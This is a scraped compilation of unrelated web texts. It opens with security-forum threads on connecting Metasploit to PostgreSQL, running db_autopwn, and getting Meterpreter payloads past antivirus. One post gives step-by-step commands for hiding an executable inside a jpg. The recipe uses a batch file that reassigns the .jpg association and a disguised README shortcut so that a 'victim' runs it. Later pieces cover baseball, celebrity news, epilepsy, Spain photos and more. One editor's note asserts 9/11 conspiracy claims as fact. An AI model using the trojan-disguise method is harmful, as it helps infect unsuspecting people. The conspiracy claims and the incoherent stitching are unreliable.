NOTE: I am using BT4 R1 release but I didn't have to uninstall / reinstall postgreSQLCode:child1.sendline ('db_connect postgres:root@localhost/pentest')
hope this helps someone out there
thanks for that
- ruby-dev
- build-essential
- libpq-dev
The packets above are necessary to GEM can install the postgresql drivers.
I installed this packets by using "apt-get" on Ubuntu, for example:
# apt-get install ruby-dev build-essential libpq-dev
Now you already can install the GEM packets to perform postgres driver on metasploit:
# gem install activerecord
Successfully installed activesupport-2.3.8
Successfully installed activerecord-2.3.8
2 gems installed
Installing ri documentation for activesupport-2.3.8...
Installing ri documentation for activerecord-2.3.8...
Installing RDoc documentation for activesupport-2.3.8...
Installing RDoc documentation for activerecord-2.3.8...
# gem install postgres
Building native extensions. This could take a while...
Successfully installed postgres-0.7.9.2008.01.28
1 gem installed
Installing ri documentation for postgres-0.7.9.2008.01.28...
Installing RDoc documentation for postgres-0.7.9.2008.01.28...
I am sure it will work, with me it worked...
After you just need run msfconsole e type the db_driver command, it should to show something like that:
msf > db_driver
[*] Active Driver: postgresql[*] Available: postgresql
PS: I am sorry for my bad English, I am from Brazil, I am still studing English...
This is a very useless question. Why do you have to type db_drive sqlite3 and db_connect "db name" everytime you enter metasploit if you use sqlite3 ?
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Do not read the Wiki, most your questions will not be answered there !
Do not take a look at the: Forum Rules !
msf > db_autopwn
[-] Database not connected
msf > db_driver[*] Active Driver: postgresql[*] Available: postgresql, sqlite3
[*] DB Support: Enable the mysql driver with the following command:[*] $ gem install mysql[*] This gem requires mysqlclient headers, which can be installed on Ubuntu with:[*] $ sudo apt-get install libmysqlclient-dev
msf > db_connect postgres
[-] Error while running command db_connect: Failed to connect to the database: FATAL: role "root" does not exist
Call stack:
/opt/metasploit3/msf3/lib/msf/ui/console/command_dispatcher/db.rb:1594:in `db_connect_postgresql'
/opt/metasploit3/msf3/lib/msf/ui/console/command_dispatcher/db.rb:1262:in `send'
/opt/metasploit3/msf3/lib/msf/ui/console/command_dispatcher/db.rb:1262:in `cmd_db_connect'
/opt/metasploit3/msf3/lib/rex/ui/text/dispatcher_shell.rb:246:in `send'
/opt/metasploit3/msf3/lib/rex/ui/text/dispatcher_shell.rb:246:in `run_command'
/opt/metasploit3/msf3/lib/rex/ui/text/dispatcher_shell.rb:208:in `run_single'
/opt/metasploit3/msf3/lib/rex/ui/text/dispatcher_shell.rb:202:in `each'
/opt/metasploit3/msf3/lib/rex/ui/text/dispatcher_shell.rb:202:in `run_single'
/opt/metasploit3/msf3/lib/rex/ui/text/shell.rb:141:in `run'
msf > db_driver postgresql[*] Using database driver postgresql
msf > db_autopwn
[-] Database not connected
msf > db_connect postgres:"postgreSQL password"@127.0.0.1/metasploit
msf > db_autopwn[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex
-T [secs] Maximum runtime for any exploit in seconds
msf >
so what's my problem ?
Dude did you even read my tutorial ? Next time when asking questions please take the time to read the tutorial first:
The commands are:
Code:db_drive postgresql db_connect postgres:"db password"@127.0.0.1/"db name" (cerate the database manually and start postgresql) db_autopwn
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Do not take a look at the: Forum Rules !
Well you must manually create the postgreSQL database, for example your postgresql user is "postgres"(default user) and the password toor, you log in your postgresql you manually create the database named "metasploit".
The first thing you do it start postgreSQL
Than you log in Metasploit and type:Code:/etc/init.d/postgresql start
Now remember this example is based on the credentials I've told you in this post, just associate them with your credentials and it should work.Code:db_drive postgresql db_connect postgres:firstname.lastname@example.com/metasploit db_autopwn
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Do not take a look at the: Forum Rules !
Sorry for post an image, but i don't know how copy text from the fast track terminal (no scroll bar)
It's this ok?


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Hooks tally a dozen in big sixth inning
Singleton homers twice as team sets club record with 20 runs
By Sam Dykstra / Special to MLB.com | August 12, 2012 8:58 PM ET
Houston's Double-A affiliate scored 12 times against Springfield on eight hits and five walks in the sixth frame to coast to a 20-9 win at Whataburger Field. The 12 runs set a franchise record for runs in an inning and the 20 tallies were the most the Hooks had ever put together in an entire game.
"It was crazy," said Hooks shortstop Ben Orloff, who finished 5-for-5 with four RBIs and three runs scored and missed the cycle by a homer. "We were almost laughing in the dugout, because I don't think any one of us has ever been involved in an inning quite like that. It's just one of those moments when everything seemed to be going our way."
Corpus Christi entered the frame down, 6-4, and the Hooks spotted the visitors an out on Jair Fernandez's leadoff groundout.
Orloff responded with a double, which was followed two consecutive singles and three straight walks -- the last coming with the bases loaded. Sandwiched in between that run were two wild pitches that allowed two runs to score, giving the Hooks four tallies before they recorded their next out.
Pinch-hitter Bobby Borchering struck out as a pinch-hitter to break up the run, but Fernandez's bases-loaded free pass kept the carousel turning for the fifth tally. Then it was Orloff's turn again.
"You just try to keep the same approach," he said. "Even though you're batting for the second time, all I'm trying to do is get guys home."
The 25-year-old did just that. He tripled to clear the bags, followed by three consecutive doubles by Enrique Hernandez, Austin Wates and Robbie Grossman. Andrew Simunic's RBI single closed out the scoring before Jonathan Singleton flied out to end the inning after 16 total batters came to the plate.
Although the 12 runs marked a season-high tally for the Hooks, Orloff -- whose five hits on the night tied a franchise record -- said the team has shown confidence at the plate.
"We scored 11 times in an inning last week [on Aug. 4], so we kind of knew we had it in us," said the shortstop. "But it's still always fun when something like this happens."
The night's scoring still wasn't complete. The Cardinals posted three runs in the top of the eighth, and the Hooks responded once more with four in the bottom half of the inning. Three came via a homer by Singleton -- the Astros' top prospect also went deep in the first.
The first baseman finished 2-for-5 with four RBIs, three runs scored and one walk. He is 6-for-15 with three homers and nine RBIs in his last three games.
"Yeah, he's good," Orloff said of Singleton. "He's a great middle-of-the-lineup bat for us and his power, it's impressive. That second homer was just a crazy line drive all the way to the bullpen in left-center. It's fun to watch him hit in batting practice and in games like tonight."
Cardinals shortstop Greg Garcia tripled, doubled and four RBIs. First baseman Xavier Scruggs added three RBIs and scored twice.
Sam Dykstra is a contributor to MLB.com. This story was not subject to the approval of the National Association of Professional Baseball Leagues or its clubs.View More


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WATCH: MSNBC host skewers Obama over his 18.4% tax rate
Happy Tax Day, everyone! While many of us were scrambling to file our returns, the Obamas released their tax information — and this morning, Joe Scarborough made it abundantly clear that he was not happy with what he saw. After years of asserting the wealthy should pay their "fair share," he charged, President Obamahimself paid 18.4 percent in taxes on an income of roughly $608,000? "The hypocrisy in mind boggling."
After attacking Mitt Romney for how much he pays in taxes, Scarborough couldn't help but note that "class warrior" Obama isn't paying a particularly high rate either. "And he talks about fairness?"
Visit NBCNews.com for breaking news, world news, and news about the economy


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Movies for Kids (and their Families) - 'The Court Jester' - Jacob Burns Film Center
Hours: 12pm
Ages: YE,TW,TE,AD
Price: $11; $6.50 children ages 12 and younger
364 Manville Road - 914-747-5555
Pleasantville, NY 10570
Description: The throne of England has been usurped! Who will make things right? When Danny Kaye's on the scene - playing the hapless, bumbling title character - the answer is obvious. And don't forget: "The pellet with the poison's in the vessel with the pestle!" Costarring Glynis Johns, Basil Rathbone, and Angela Lansbury. 1955. 101 min. Not rated.


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Great work but do you know why it is needed to write the
.section '.text' rwx
at the beggining of the asm file ? I just don't get it what that does
hi guys:
the network being a "thing" free, I came across a "compelling" read: (thanks)
(I recommend visiting the address before watching my video)
I wanted to test the "content" on MY bt5r1 doing a "" "video" "
deserves & credits NOT GO TO ME!!....but for them!
if you want to watch: http://vimeo.com/37071571
ps:as always sorry for the quality && errors !
Great work but do you know why it is needed to write the
.section '.text' rwx
at the beggining of the asm file ? I just don't get it what that does
It makes the .Text segment of your file executable.
(\ /)
( . .)
This is bunny.
Copy and paste bunny into your signature to help him gain world domination.
I state to be super-INexperienced, but reading around it seems to me that should:###allow the "section of area-code" to will be executable ###
........ take it with tongs
Hi Zimmaro,
many thanks for your interesting post, i just tried it but still detected ( i have avria AV), any advise?
thank you in advance ...
hello when I dialout with the av Meterpreter accuses microsoft -> win32/swort.a
Anyone know how to spend it?
hello when I dialout with the av Meterpreter accuses microsoft -> win32/swort.a
Anyone know how to spend it?
"Are totally unprepared" to give you a definite answer, surely there will be a way ... working on "different types of encoding" .. try doing a specific search, and make test!. (I tried with 2 most used in my circle of "friends") (I DO NOT USE ViruScan-site)
try to "talk with the guys from the" "link posted" " & also in this forum there are people very, very helpful and prepared! (except me )
please just one more question..
any idea how to merge the exe file with any other file format ( pdf,jpg,avi....)
thank you in advance..
Hello there should be several ways
they are found on the net! from the various software "" binder "" or use" winrar-method".
Also in SET if I remember correctly has some similar things that exploit some vulns
I tried to use this!! worked on CMD.exe (Windows) OR with linux under Wine(copy in linux the file cmd.exe "version winxp" ):
you need:
3)create a folder "photo" in desktop
4)cut & paste 2files into folder
5)open cmd.exe(windows)& goto dir of "photo"folder
6)write " copy /b a.exe + a.jpg a1.jpg "
7)open a test folder to have 3 files (a.exe a.jpg a1.jpg)
8) delete a.exe & a.jpg
9)open a new notepad & write: @echo off
assoc .jpg=exefile
start a1.jpg
assoc .jpg=jpgfile
10)save as HELLO.bat in photo folder
11)create a shortcut of HELLO.bat
12)change icon of shortcut(need "txt-icon")keydx> proprieties>link>change icon.....ok
13)rename (shorcut)HELLO.bat in README (use fantasy with "social-engineering")
14)zip the folder >photo.zip
when victim open compres-folder(don't have .exe) and * play *README the process a1.jpg( ) start.......


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COLUMBIA, Ky. -- Kentucky Poet Laureate Frank X Walker
will give a reading Tuesday night at Lindsey Wilson
Walker will speak at 7 p.m. CT on Tuesday, Jan. 28,
in the W.W. Slider Humanities Center Recital Hall. His reading is
free and open to the public.
Walker is a co-founder of the Affrilachian poets, and he is for creating the
term "Affrilachia," which is used to describe
African-American culture in Appalachian regions.
"My definition of Affrilachian is married to people
of color not included in traditional narratives and definitions of
Appalachia even though they may inhabit the same or similar
geographical space. I see heritage and race as equal influences,"
Walker said.
Walker has dedicated his life to educating others
about his craft and the history of his culture.
"I think the negative caricatures and stereotypes
of the region have driven people's negative perceptions of the
region," he said. "I believe a broader cultural definition that
included Negro League Baseball, August Wilson, Nina Simone, Roberta
Flack, Carolina Chocolate Drops, Bill Withers, Henry Louis Gates
and others would allow people to celebrate the positives. My poetry
reflects family, social justice, identity, place and
While seeing himself as a truth teller and
observer, Walker's writing often draws on his own
"My writing is often fairly autobiographical. I at
least draw from what I know even when writing fiction," he said.
"Some of my most defining moments from childhood include learning
to read, getting my first pair of glasses and time spent on the
Walker is the author of four poetry
collections: When Winter Come: The Ascension of
York (University Press of Kentucky, 2008);
Black Box (Old Cove Press,
2005); Buffalo Dance: The Journey of
York (University Press of Kentucky, 2003), which
won the Lillian Smith Book Award in 2004; and
Affrilachia (Old Cove Press,
A 2005 recipient of the Lannan Literary Fellowship
in Poetry, Walker is also writer in residence and lecturer of
English at Northern Kentucky University, and he is editor and
publisher of PLUCK!, a journal
of Affrilachian art and culture.
Installed as Kentucky's poet laureate for 2013-14 by Gov.
Steve Beshear, Walker is responsible for promoting literary arts
and leading statewide literary events. Although Walker may be best
known as a writer, he is also very much a teacher.
"I don't think that I have reached a point where
I've decided that writing is what I want to spend the rest of my
life on. I certainly hope to write the rest of my life, but
teaching is my first love," he said. "And when I grow up I'd like
to make movies."
LWC Library Services Director Phil Hanna, who chairs the committee
responsible for bringing Walker to campus, said the poet laureate
brings literature to life.
"The co-curricular cultural events, seen in visits
by persons like Frank X Walker, provide exposure to voices that had
not previously been identified, in this case, that of black
Appalachia," Hanna said. "What you learn in class comes to life
when you hear real people talk about a tradition that they are part
of. It is also important to see examples of what society recognizes
as persons of achievement.
"In the past, when we've had regional writers, I
always observe students speaking to them after their presentation
indicating they have things they would like to write about from
their youth. If Frank X Walker can do it, perhaps I can as well.
Within the Lindsey Writes project, it also exposes students to
persons for whom writing is their livelihood."


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ECOP1001 - Economics as a Social Science
Summer Main, 2012 | Credit Points: 6
Coordinator: Dr Lynne Chester
Economic concerns are central to modern society and politics. Yet economists are deeply divided in their views about how the economy works and how it could be made to work better. This unit of study explores the principal competing currents of economic thought - classical, neo-classical, institutional, Marxian and Keynesian. It looks at how these rival economic theories influence views about economic policy and the future of capitalism. This provides a solid foundation for subsequent study of economics and political economy.
2x1000wd essays (30%), 1x400wd tutorial paper (5%), 1x1.5hr exam (50%) and tutorial participation (15%)
F. Stilwell, Political Economy: the Contest of Economic Ideas (Oxford U.P.)
2x1hr lectures/week, 1x1hr tutorial/week commencing week 2
A timetable is not available for this session.
Please refer to the list of Units of Study on the left-hand menu to view the units on offer for the relevant academic year.
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Freddie Mercury biopic loses leading man
Listen to Queen on iHeartRadio
Sacha Baron Cohen won't be portraying late Queen frontman Freddie Mercury on the big screen after all.
Deadline.com says the actor has left the project over creative differences with surviving band members, who have the final say on the script and director. Cohen was looking to present an R-rated tell-all about the rocker, but the group wants to keep the film PG.
The people Cohen suggested to write and direct the film had also been rejected by Queen.
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"Sport hunting and predator control didn't remove the wolves in the first place. It was active eradication promoted, managed, funded, and implemented by the federal government that was responsible. And nothing short of active eradication will threaten wolves in the foreseeable future."
commenting on the June 11 Tribune editorial, "Value of wolves: Feds must maintain some oversight"
"We don't have to secure the border, just secure the workplace so the 'job creators' can't save money by hiring illegal foreign labor."
commenting on the June 9 Tribune editorial, "Immigration bill: Hatch should support reform"
"Secret courts and warrants do not protect us from enemies. They create enemies. Anyone who loves freedom and believes in the rights given in the Constitution ought to be an enemy to programs and tactics like this."
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"Men bullying women will things ever change? Not in the GOP. And that's why the GOP has a dim future."
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Adam Levine engaged to Victoria's Secret model
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Adam Levine can hear the bells - wedding bells that is. He has solidified his rekindled relationship with Victoria's Secret Angel Behati Prinsloo with a ring.
A rep for the Maroon 5 frontman tells "People" magazine the 34-year-old singer proposed to the 24-year-old Namibian model over the weekend in Los Angeles.
Levine and Prinsloo parted ways earlier this year, but the rep says they recently reunited and are both excited about their upcoming wedding.
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Tuesday, March 10 2009 - Legal Response to 9/11
Guantanamo detainees say they planned September 11: report & excerpts
Of course there were Islamic planners inside the 9/11 circle. That has absolutely no relationship to all the extensive pre-warnings provided by numerous governments to the US/Bush Administration before the attacks. Nor does it have any relationship to the complete failure of following established procedures for over two hours to intercept the "hijacked" aircraft. Nor does this have anything to do with the Able Danger stand down six months before, or the first ever in history steel frame buildings to fail from a fire.
– Ed.
March 10, 2009
WASHINGTON (Reuters) -- The five detainees at the U.S. Guantanamo Bay prison camp charged with plotting the September 11 attacks have filed a document expressing pride at their accomplishment and accepting responsibility for the deaths of nearly 3,000 people, The New York Times reported on Monday.
The document, which the newspaper said may be released publicly on Tuesday, describes the five men as the "9/11 Shura Council," and says their actions were an offering to God, according to excerpts of the document read to a reporter by an unidentified government official, the report said.
"'To us,' the official read, 'they are not accusations. To us they are a badge of honor, which we carry with honor,'" the paper said.
The document is titled "The Islamic Response to the Government's Nine Accusations," the military judge at the U.S. Naval base said in a separate filing, obtained by the Times, that described the detainees' document.
The document was filed on behalf of the five men, including Khalid Sheik Mohammed, who has called himself the mastermind of the attacks.
Some of the men had said earlier that they planned the 2001 attacks and that they wanted to be martyrs. The reason for the new filing, which the report said reached the military court on March 5, was not clear. The brief court order describing the filing said the men sought no legal action.
(Writing by Patricia Zengerle; editing by Mohammad Zargham)
Source URL: http://news.yahoo.com/s/nm/20090310/ts_nm/us_guantanamo_document_2
Excerpts from the statement of five Sept. 11 defendants filed with the Guantanamo war-crimes court.
By The Associated Press
March 10, 2009
With regards to these nine accusations that you are putting us on trial for; to us, they are not accusations. To us they are badges of honor, which we carry with pride.
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Copyright used to last 28 years and he renewable for another 28 years. That changed July 1,1978, when the duration was extended. Now copyright belongs to the creator of the work — the photographer, artist, letter writer — for his or her lifetime plus 70 years. That's the case even if there's no copyright symbol on the work. If a work was created in the scope of someone's employment (called a "work for hire"), the employer is considered the owner, and the copyright lasts a total of 95 years. When the law changed in 1978, works already in the public domain remained public, but works still under copyright automatically fell under the longer term.


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'Leaf management had to be particularly delighted with the play of Tellqvist and Centomo, the closest things they have to goalies of the future at the moment. Tellqvist stopped all 13 shots he faced and while Centomo allowed three on 26 shots, none of them were cheap and two came in the last two minutes when the Sabres had their goalie out of the net.'
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Hiking on Maui
Maui's hiking trails allow you to experience the beauty of the Magic Isle. For an easy hike, visit historic Iao Valley State Park. This paved trail offers fantastic valley views. For a more difficult hike try the Pipiwai trail to 400-foot Waimoku Falls in the lush Kipahulu section of Haleakala National Park. Visit the Kipahulu Visitor's Center for more information.
Or you can hike atop the scenic summit of Haleakala, Maui's highest peak. Take the Halemauu Trail or the Keeneheehee (sliding sands) trail down from the crater and see volcanic landscapes, mountainous wilderness and rare endemic plants like the ahinahina (silversword). Visit the Haleakala Visitor's Center for more information on guided and self-guided hikes.
More information: (808) 572-4400; http://www.nps.gov/hale
When hiking on Maui, be sure to be prepared with these essentials:
- Good hiking shoes with tread
- Light pants to keep cool or shorts (but beware that you may get scratches from branches)
- Light shirt to keep cool
- Light rain jacket and mosquito repellent (especially if you are going into rainforests or valleys)
- Backpack with enough water, lunch and sunscreen (depending on length and intensity of hike)
- Cell phone
For longer, tougher hikes you may want to also include:
- Work gloves
- Sweater
- First Aid Kit
- Additional water and food
- Flashlight
- Compass
- Map
For safety reasons, DO NOT hike alone if at all possible, but if you must, make sure to tell someone where you are going. DO NOT drink water from freshwater ponds or streams you may encounter during your hike. Avoid entering streams or ponds with open cuts. Stick to the trail and follow trail head markers to avoid getting lost. With a little preparation, your Maui hike will reap unforgettable rewards.
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"It was only later that I realized he was sitting under a fluorescent light that was flickering when he had his first seizure. All three of his seizures have happened when there have been flashing or flickering lights. The last seizure was when they did the EEG with the flashing lights. Now we keep Dan away from any light flickers. Even driving through shaded areas where the light filters down through the leaves and flickers—we just give him a pair of dark sunglasses, and he keeps his head down."
- Reflex epilepsies are a group of epilepsy syndromes in which a certain stimulus brings on seizures.
- 85 percent are generalized tonic clonic seizures.
- Most common form of reflex epilepsy is photosensitive epilepsy, in which flashing lights trigger seizures.
- Most effective way to prevent most relex seizures is to avoid the stimulating trigger.
What is it like?
Reflex epilepsies are a group of epilepsy syndromes in which a certain stimulus brings on seizures. The stimulus can be something simple in the environment or something more complex like reading, writing, doing arithmetic, or even thinking about specific topics.
The types of seizures that may occur are varied, but 85% are generalized tonic-clonic (grand mal) seizures. Other seizure types include absence seizures (staring) and myoclonic seizures (jerking of the eyes, head, or arms).
The most common form of reflex epilepsy is photosensitive epilepsy, in which flashing lights trigger seizures. These seizures are usually found to be primary generalized seizures. Occasionally, partial seizures (arising from a small portion of the brain) may also present as a reflex epilepsy.
Who gets it?
Photosensitive epilepsy usually begins in childhood and is often (but not always) outgrown before adulthood. It is more common in children with a parent who is also sensitive to flashing lights.
Other reflex epilepsies may occur at any age. They affect only a small percentage of people with epilepsy.
People who have reflex epilepsies generally are developmentally normal and have normal findings on a neurological examination.
Tell me more
- It can be difficult to avoid all flashing lights, since even driving past a line of trees with the sun flickering through can produce the same effect as a strobe light. If flashing lights cannot be avoided, it may help to cover one eye until the flashing is over. For some people, certain rates of blinking or even specific colors may provoke seizures.
- There has been great interest in the safety of video games for children or adults with epilepsy. Certain video games (as well as certain television shows and movies) can provoke seizures. Sleep deprivation and stress or excitement caused by playing the games for a long time should also be considered as potential provoking contributors. Seizures that are triggered by the flashing lights and changing patterns of video games occur during the game. Seizures that occur later, after the person has finished playing, are not caused by the game.
- Other environmental triggers in reflex epilepsy include sounds such as church bells, a certain type of music or song, or a person's voice. Seizures also have been triggered in a few people by things like the patterns of a moving escalator step, tooth brushing, taking a hot bath, or being rubbed.
How is it treated?
Of course an effective way to prevent most seizures in the reflex epilepsies is to avoid the stimulus that triggers them. But usually people with reflex epilepsies require medication because their seizure triggers are unavoidable in everyday life or they also experience seizures without detectable causes. Depakote (valproate) is effective for reflex epilepsies. Other successful medications are Klonopin (clonazepam), Frisium (clobazam), Lamictal (lamotrigine), or phenobarbital.
What's the outlook?
Most seizures of reflex epilepsy are well controlled with low doses of medication. Some people do outgrow their seizures, but the decrease in susceptibility may not happen for many years: 75% of people with photosensitive reflex epilepsy continue to have seizures after age 25 if not treated. Doctors and patients need to be careful not to stop treatment too early, to keep seizures from reappearing.


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Sudbury, Ontario, sculptor Tyler Fauvelle puts some of the finishing touches on a life-sized statue of Stompin' Tom Connors set to be unveiled in that city's downtown later this year. Submitted photo
SUMMERSIDE – Somewhere out there in the cosmos Tom Connors' spirit is probably cracking a crooked grin over a cup of moonshine.
The man known across the land as Stompin' Tom from Skinner's Pond is being immortalized by a dedicated group of fans in a town he helped put on the map – Sudbury, Ontario.
"Yeah, the girls are out to bingo
And the boys are gettin' stinko
And we'll think no more of Inco
On a Sudbury Saturday night"
Words ranked amongst the most classic of Connors' repertoire, they were laid out in his 1967 tune "Sudbury Saturday Night."
With Connors' passing nearly one year ago, a group of Sudbury residents have banded together to erect a life-sized bronze statue of a young version of him in the downtown.
Local sculptor Tyler Fauvelle created the statue, which is now in the process of being bronzed.
Fauvelle started work on the project in secret shortly after Connors's passing – long before anyone had raised a single cent to pay for it.
Connors is someone Fauvelle has a lot of respect for, which is why he was so keen on the project.
"I wanted this project to get done, regardless of how it got done," he said during a recent interview.
"So I decided to do the sculpture in full … regardless of the consequences of fundraising," he said.
"We have so few home-grown patriots – I just wanted to be part of making sure he's not forgotten."
Fauvelle was originally approached by the The Stompin' Tom Connors Commemorative Committee in Sudbury, which is made up of local fans and business people.
They kicked off a fundraising campaign earlier this month to raise $50,000 to pay for the statue.
They are raising money locally and have turned to crowdfunding to help raise half the money. Their Indiegogo page can be viewed here: http://www.indiegogo.com/projects/stompin-tom-bronze-sculpture.
Fauvelle said he's hopeful of having a grand unveiling of the statue later this summer, but he's keeping the finished product under wraps until then.
Anyone who would like to contact the statue's organizing committee can do so by emailing email@example.com.
P.E.I.'s tribute
Sudbury isn't the only community working on commemorating Connors.
Tourism Minister Robert Henderson issued a call for public suggestions on how to memorialize the musician, shortly after his passing. The province received 25 suggestions.
Premier Robert Ghiz then confirmed in the 2013 budget that the province would commit to supporting some form of memorial – whatever it ended up being.
However, since that announcement was made in November there has been little to no measurable progress on the file.
Henderson did say though in an emailed statement that the project remains on the department's books.
"Discussions are ongoing in relation to a fitting commemoration to Stompin' Tom's life in West Prince," said Henderson.
"We continue to work with our partners and the Connors family to determine the most suitable option. We received lots of feedback from Islanders and that information has helped guide the discussion to this point."


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Event: Bollywood hottie Sameera Reddy promoted her upcoming film DE DANA DAN at Inorbit Mall, Mumbai.
Guest List: Sameera Reddy
Venue: Inorbit Mall, Mumbai.
Date: 14-Nov-2009
Bollywood celebs Tiger Shroff and Disha Patani were snapped by paparazzi.
MUBARAKAN stars Arjun Kapoor, Anil Kapoor, Athiya Shetty, Ileana DCruz and director Anees Bazmee grooved on stage during the sangeet ceremony.
Bollywood stars Anil Kapoor, Arjun Kapoor, Ileana D'Cruz, Athiya Shetty and director Anees Bazmee were snapped at MUBARAKAN sangeet ceremony.
Bollywood celebs Varun Dhawan, Ranveer Singh, Ahaan Shetty among others were spotted at Bandra.
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Janet Napolitano on the Times Square Bomb: "We Are Alerting Everybody to Be on Their Toes"
Between My Father and the King By Janet Frame This posthumous collection is a must-read for Janet Frame fans.
Janet Jackson has reportedly shown an interest in assuming custody of the children.
But will Janet Yellen be any different from her predecessor?
In November 2013, Driscoll was accused of plagiarism by radio talk show host Janet Mefferd.
Altogether his self-command was creditable to Janet's tuition.
Nobody ever called Janet a beauty, or even thought her pretty.
At Janet's departure, Rosie looked at her mother scornfully.
Janet had heard all this before and could not understand it.
I care not for all those strings of pearl, which you fret me by warping into my tresses, Janet.


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May 12, 2008
**REMINDER -- ENROLL NOW FOR TOMORROW'S CHAT**FOS11 Chat Program Online Community Support GroupFinal Chat Sessions
It has been almost 4 years since we first launched the Chat Program and it is with sadness that we announce the closing of the program. Our funding for the program has come to an end and we will hold 2 more chat sessions. We have connected to individuals living in far reaching geographic locations including California, Hawaii, Florida, Massachusetts and other states. Despite of the distance, we have been able to reach out to others who have felt disconnected and isolated and provided a forum for those individuals to share their concerns and provide support.
We have learned valuable lessons from these chats and we will use these final sessions to say goodbye. However, every ending tends to open the door for another opportunity. During these last sessions, we will determine the best way for chat participants to keep in touch and stay connected each other through other ways. We hope that you will join us in these final chats. The next chat will be on Tuesday, May 13th, 7:45 PM EST and the Chat will start at 8:00 PM promptly.
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Warble Tape-TonePrint von Troy Van Leeuwen
While creating this TonePrint, Troy was looking for a warbly dark tape delay sound with plenty of flutter. Quite similar to what you will hear on old tape delays where the tape is almost worn out. A good delay sound to have from a stable and reliable stomp box.
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TC: Who inspired you over the years when you were creating your own personal guitar tone? Troy: The first person I heard play guitar was Chuck Berry. I wouldn't have had any knack for guitar if he hadn't been around. Jimmy Page was always a great inspiration, not only because of his playing, but also the production things he would do. He could probably play all those songs on one guitar live, which he did, but in the studio he would separate some notes on different tracks. Great inspiration. Mick Ronson was a favourite of mine as well as Robert Fripp and Daniel Ash. But all in all it's just really important to have a personal sound. The sound that comes from your fingers, no matter what amp you play. At the same time you should be open minded and learn from people that are different from yourself. At Rancho de la Luna (Dave Catchings studio) we learn from each other, and that's a really important factor.
TC: Have you ever been so inspired by a tone you created that you ended up writing a tune based on that specific tone? Troy: There's a few things that do that. The one piece of gear that I lean on a lot is a Fender Bassman. It does 'it' for me. It's a '65 blackface. I can plug it in to any cabinet, I can push it, I can pull it, I can drop it, and it still does what I want. Any pedal sounds good in it. You can plug in everything – digital, analog – and it still sounds great.
TC: Do you work on developing your tone continuously, or do you feel that you have found a fundamental tone that will last throughout your career? Troy: I'm always looking for new things. When I was playing with A Perfect Circle, there was a lot of different stuff going on there, a lot of digital processing. I never got rid of older stuff though, but I'm kind of mixing it up with new stuff. I don't like to stick myself in a rut, not trying new stuff. Whether it's different guitars, different amps or interesting pedals and concepts like the TC TonePrint pedals. Otherwise it's a little bit limiting.
TC: What inspired you when you created TonePrints for the Hall of Fame reverb and the Flashback Delay? Troy: Being a tour musician, there are a lot of limitations. I can't bring a spring reverb on the road, and tape delays – if they break it's really expensive. So if you can get something that does that, close enough to what you think it is, people aren't gonna go 'Oh my God,he didn't use that tape delay on stage. I'm not gonna buy their records anymore'. So I lean toward touring with gear that works – newer gear! That's what I love about technology is that we're able to not only have newer sounding. The TonePrints for Hall OF Fame and FlashBack will be really great for covering some of my needs for delay and reverb in live situations.
TC: Normally, do you prefer having access to many parameters, or do you like simple pedals with just a few knobs better? Troy: The G-Force in my rack is a pretty in-depth piece. I like using it for tap delays and tap tremolo too and reverbs too. I really like that you can route the effects, put a drive at the end of a reverb to make it sound a little more dirty, I can split the signal into different amps. Not stereo but dry amp and wet amp. And since it is a MIDI capable piece I can change the presets really quick. The stuff I'm good at is providing color and having it very accessable. At the push of one button. And making things easy for me by torturing my tech!Lesen Sie mehr über Troy Van Leeuwen


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Renata Hillman
Renata Hillman is a Traditional Midwife, serving Mothers along the gulf coast, as midwife and educator. She is mother to three and midwife to her first granddaughter. She is the Chairman of the Board for Midwives Alliance of Mississippi (MAM). She dreams of the day when midwifery is once again a respected calling in American society and mothers have many from which to choose.


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Spanish Bullfighter
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A matador stands with cape at the ready in a bullfighting ring in Spain. The ancient sport draws crowds across the country, and bullfighters attain celebrity status.
Bullfighting Ring, Seville
Photograph by Ali Kate Cherkis, My Shot
The well-to-do sit in the sombra (shade) instead of the sol (sun) section at Seville's much-vaunted Real Maestranza de Caballería bullfighting ring. The two white indented rectangles indicate where bullfighters can take refuge from a charging bull.
Seville Bar
Photograph by Mark Horn/Getty Images
Men meet in a bar in the Triana neighborhood of Seville. The capital of Andalusia, Seville shines as the stronghold of culture and art in southern Spain.
Metropolis Building, Madrid
Photograph by Jonathan North, My Shot
Headlights blur past the Metropolis Building, a Madrid landmark. The Spanish capital is also its banking and business center.
Flamenco Dancing, Barcelona
Photograph by Christopher Pillitz/Getty Images
Children practice the art of flamenco at a fair in Barcelona. Quintessentially Spanish, flamenco echoes the rhythm of medieval ballads sung by Muslim minstrels.
Temple of Debod, Madrid
Photograph by Robert Barrett, My Shot
The ancient Temple of Debod stood in Egypt's Nile Valley until the building of the Aswan Dam in the 1960s, when the Egyptian government gave it to Spain in gratitude for that country's help in saving a larger temple. It now stands in a Madrid park, along with a small museum.
La Mancha Windmills
Photograph by Mark Cannon, My Shot
La Mancha's windmills were famously captured in Miguel de Cervantes's Don Quixote, when the bumbling knight of the title rushes the windmills, thinking they're giants.
Canary Islands
Photograph by Fantuz Olimpio/SIME-4Corners
The Canary Islands lie northwest of Africa and have five distinct environmental zones, ranging from sea level to snowcapped peaks. The name of the archipelago comes from the Latin word canis, meaning "dog," because early explorers found large dogs roaming the islands. Canary birds were in turn named after the islands.
Sagrada Família Church, Barcelona
Photograph by Tino Soriano
Antoni Gaudí's Temple Expiatori de la Sagrada Família in Barcelona is still unfinished more than a century after construction began. The Catalan architect's many fantastic works give the city a distinctive look.
Semana Santa, Seville
Photograph by Richard Ross/Getty Images
During Seville's Semana Santa, members of cofradias, or lay religious brotherhoods, walk through the streets in complete silence, wearing voluminous tunics and tall conical hoods that were originally designed to hide the identity of the penitent. They also carry Seville's famous pasos, richly ornamented platforms bearing religious iconography and images.
San Sebastián Pintxos
Photograph by Dallas Stribley/Lonely Planet Images
San Sebastián, on the Cantabrian coast in Basque country, is known as a gastronomic hotbed. Especially famous are its all-male cooking clubs, where men cook for themselves and fellow club members. A San Sebastián staple are pintxos, the small bites called tapas elsewhere in Spain.
Photograph by Tino Soriano/National Geographic Stock
